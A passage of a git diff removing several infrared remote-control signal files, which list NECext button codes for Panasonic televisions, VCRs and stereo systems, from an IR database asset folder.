00 -command: 00 00 00 00 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: INPUT_VIDEO_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: INPUT_VIDEO_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: INPUT_SELECT/SCROLL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: PICTURE_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: SOUND_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: P-NR -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: NORMALIZE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: DIGIT_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: DIGIT_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: DIGIT_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: DIGIT_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: DIGIT_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: DIGIT_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: DIGIT_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: DIGIT_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: DIGIT_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: DIGIT_0/10 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: DIGIT_11 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: DIGIT_12 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: DIGIT_13 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: DIGIT_14 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: DIGIT_15 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: DIGIT_16 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 32 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 33 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 35 00 00 00 -# -name: CHANNEL_PREVIOUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 37 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 38 00 00 00 -# -name: INFO_/_RECALL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 39 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 3F 00 00 00 -# -name: CONTRAST_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 42 00 00 00 -# -name: CONTRAST_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 43 00 00 00 -# -name: BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 45 00 00 00 -# -name: CURSOR_ENTER/SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4F 00 00 00 -# -name: PICTURE_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 50 00 00 00 -# -name: SOUND_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 52 00 00 00 -# -name: PIP_VOLUME_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 53 00 00 00 -# -name: PIP_VOLUME_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 54 00 00 00 -# -name: PIP_INPUT_SCROLL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 56 00 00 00 -# -name: PIP_POSITION_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 57 00 00 00 -# -name: PIP_POSITION_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 58 00 00 00 -# -name: PIP_POSITION_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 59 00 00 00 -# -name: PIP_POSITION_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5A 00 00 00 -# -name: PIP_SIZE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5B 00 00 00 -# -name: PIP_FREEZE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5C 00 00 00 -# -name: PIP_TOGGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5D 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5E 00 00 00 -# -name: PIP_FRAME_ADVANCE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 63 00 00 00 -# -name: PIP_CHANNEL_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 64 00 00 00 -# -name: PIP_CHANNEL_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 65 00 00 00 -# -name: PIP_MODE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 66 00 00 00 -# -name: PIP_POSITION_SWITCH -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 67 00 00 00 -# -name: PIP_AUDIO_SWITCH -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 68 00 00 00 -# -name: PIP_REPLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 69 00 00 00 -# -name: TUNING -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 6C 00 00 00 -# -name: COLOR_BUTTON_RED -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 70 00 00 00 -# -name: COLOR_BUTTON_GREEN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 71 00 00 00 -# -name: COLOR_BUTTON_YELLOW -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 72 00 00 00 -# -name: COLOR_BUTTON_BLUE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 73 00 00 00 -# -name: INPUT_PC/VGA -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 7A 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 7E 00 00 00 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 9D 00 00 00 -# -name: CHANNEL_SKIP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 9E 00 00 00 -# -name: LANGUAGE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: A0 00 00 00 -# -name: AUTO_SEARCH -type: parsed -protocol: NECext -address: 80 00 00 00 -command: A6 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: AC 00 00 00 -# -name: GAME_/_ZOOM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: BB 00 00 00 -# -name: PROG_/_DASH -type: parsed -protocol: NECext -address: 80 00 00 00 -command: D0 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: D3 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: D4 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: D5 00 00 00 -# -name: PIP_RECORD -type: parsed -protocol: NECext -address: 80 00 00 00 -command: E0 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: E2 00 00 00 -# -name: PIP_MULTI_WINDOW -type: parsed -protocol: NECext -address: 80 00 00 00 -command: E6 00 00 00 -# -name: PIP_MOVE/ZOOM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: E7 00 00 00 -# -name: VIERA_TOOLS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir deleted file mode 100644 index c92424e2c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TELETEXT_SELECT -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 00 00 00 00 -# -name: TELETEXT_MIX -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 01 00 00 00 -# -name: TELETEXT_TIME_TEXT -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 03 00 00 00 -# -name: TELETEXT_CANCEL -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 04 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 05 00 00 00 -# -name: TELETEXT_INDEX_/_TIMER -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 08 00 00 00 -# -name: TELETEXT_HOLD -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 09 00 00 00 -# -name: TELETEXT_STORE_LIST -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 0A 00 00 00 -# -name: TELETEXT_SIZE -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 0C 00 00 00 -# -name: TELETEXT_REVEAL -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 1C 00 00 00 -# -name: TELETEXT_LIST -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 1D 00 00 00 -# -name: TELETEXT_RESET -type: parsed -protocol: NECext -address: 80 01 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir deleted file mode 100644 index 5fabcb48f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_COMPONENT_1 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: 7C 00 00 00 -# -name: INPUT_COMPONENT_2 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: 7D 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: B0 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: B1 00 00 00 -# -name: INPUT_HDMI_3 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: B2 00 00 00 -# -name: INPUT_HDMI_4 -type: parsed -protocol: NECext -address: 80 04 00 00 -command: B3 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: 80 04 00 00 -command: C7 00 00 00 -# -name: ASPECT_ZOOM -type: parsed -protocol: NECext -address: 80 04 00 00 -command: C9 00 00 00 -# -name: ASPECT_JUST -type: parsed -protocol: NECext -address: 80 04 00 00 -command: CB 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: 80 04 00 00 -command: CC 00 00 00 -# -name: ASPECT_FULL -type: parsed -protocol: NECext -address: 80 04 00 00 -command: D1 00 00 00 -# -name: ASPECT_SELECT/SCROLL -type: parsed -protocol: NECext -address: 80 04 00 00 -command: DE 00 00 00 -# -name: PIP_POSITION -type: parsed -protocol: NECext -address: 80 04 00 00 -command: E5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir deleted file mode 100644 index 57bbaf0b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GUIDE -type: parsed -protocol: NECext -address: 80 09 00 00 -command: 87 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 80 09 00 00 -command: 88 00 00 00 -# -name: APPS -type: parsed -protocol: NECext -address: 80 09 00 00 -command: 8F 00 00 00 -# -name: VIERA_CAST_/_INTERNET -type: parsed -protocol: NECext -address: 80 09 00 00 -command: 93 00 00 00 -# -name: MENU_HOME -type: parsed -protocol: NECext -address: 80 09 00 00 -command: 95 00 00 00 -# -name: MENU_SUB_/_OPTION -type: parsed -protocol: NECext -address: 80 09 00 00 -command: A7 00 00 00 -# -name: SD_CARD_/_USB_/_MEDIA_PLAYER -type: parsed -protocol: NECext -address: 80 09 00 00 -command: AB 00 00 00 -# -name: FAVORITE_CHANNEL -type: parsed -protocol: NECext -address: 80 09 00 00 -command: AE 00 00 00 -# -name: VIERA_LINK -type: parsed -protocol: NECext -address: 80 09 00 00 -command: B1 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: 80 09 00 00 -command: B4 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 80 09 00 00 -command: B7 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 80 09 00 00 -command: B8 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C1 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C2 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C3 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C4 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 80 09 00 00 -command: C5 00 00 00 -# -name: INPUT_ANTENNA_A -type: parsed -protocol: NECext -address: 80 09 00 00 -command: CD 00 00 00 -# -name: INPUT_ANTENNA_B -type: parsed -protocol: NECext -address: 80 09 00 00 -command: CE 00 00 00 -# -name: SD_RECORD -type: parsed -protocol: NECext -address: 80 09 00 00 -command: D5 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 80 09 00 00 -command: DC 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 80 09 00 00 -command: DD 00 00 00 -# -name: NETFLIX -type: parsed -protocol: NECext -address: 80 09 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir deleted file mode 100644 index d3f62e439..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 12 00 00 00 -# -name: ATT -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 19 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 1A 00 00 00 -# -name: PRG -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 1D 00 00 00 -# -name: Tune/Track_Down -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 1E 00 00 00 -# -name: Tune/Track_Up -type: parsed -protocol: NECext -address: 81 6A 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir deleted file mode 100644 index 072908655..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: STILL_ADV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: TRACKING_AUTO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B0 00 00 00 -# -name: TRACKING+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B1 00 00 00 -# -name: TRACKING- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir deleted file mode 100644 index 5986b7186..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: stop-clear -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 99 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AC 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B6 00 00 00 -# -name: tuner-band -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: xbs -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: D6 00 00 00 -# -name: fm-mode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 -# -name: tuning+ -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E9 00 00 00 -# -name: tuning- -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir deleted file mode 100644 index 86fb8b353..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cd_stop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: tape_record -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A4 00 00 00 -# -name: tape_play -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: rev_mode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: counter_reset -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: tuner_band -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: preset_eq -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: D9 00 00 00 -# -name: st-mono -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 -# -name: tuning+ -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E9 00 00 00 -# -name: tuning- -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EA 00 00 00 -# -name: bp -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir deleted file mode 100644 index d2a967cd8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_CLEAR -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: CD_PREV -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: CD_NEXT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: TAPE_FORWARD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: TAPE_RECORD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A4 00 00 00 -# -name: TAPE_PLAY_REWIND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A5 00 00 00 -# -name: TAPE_PLAY_FORWARD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: TAPE_DECK -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: TAPE_REV_MODE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: TUNER_PRESET_TUNE_UP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: TUNER_PRESET_TUNE_DOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 -# -name: TUNER_TUNING_UP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E9 00 00 00 -# -name: TUNER_TUNING_DOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EA 00 00 00 diff --git 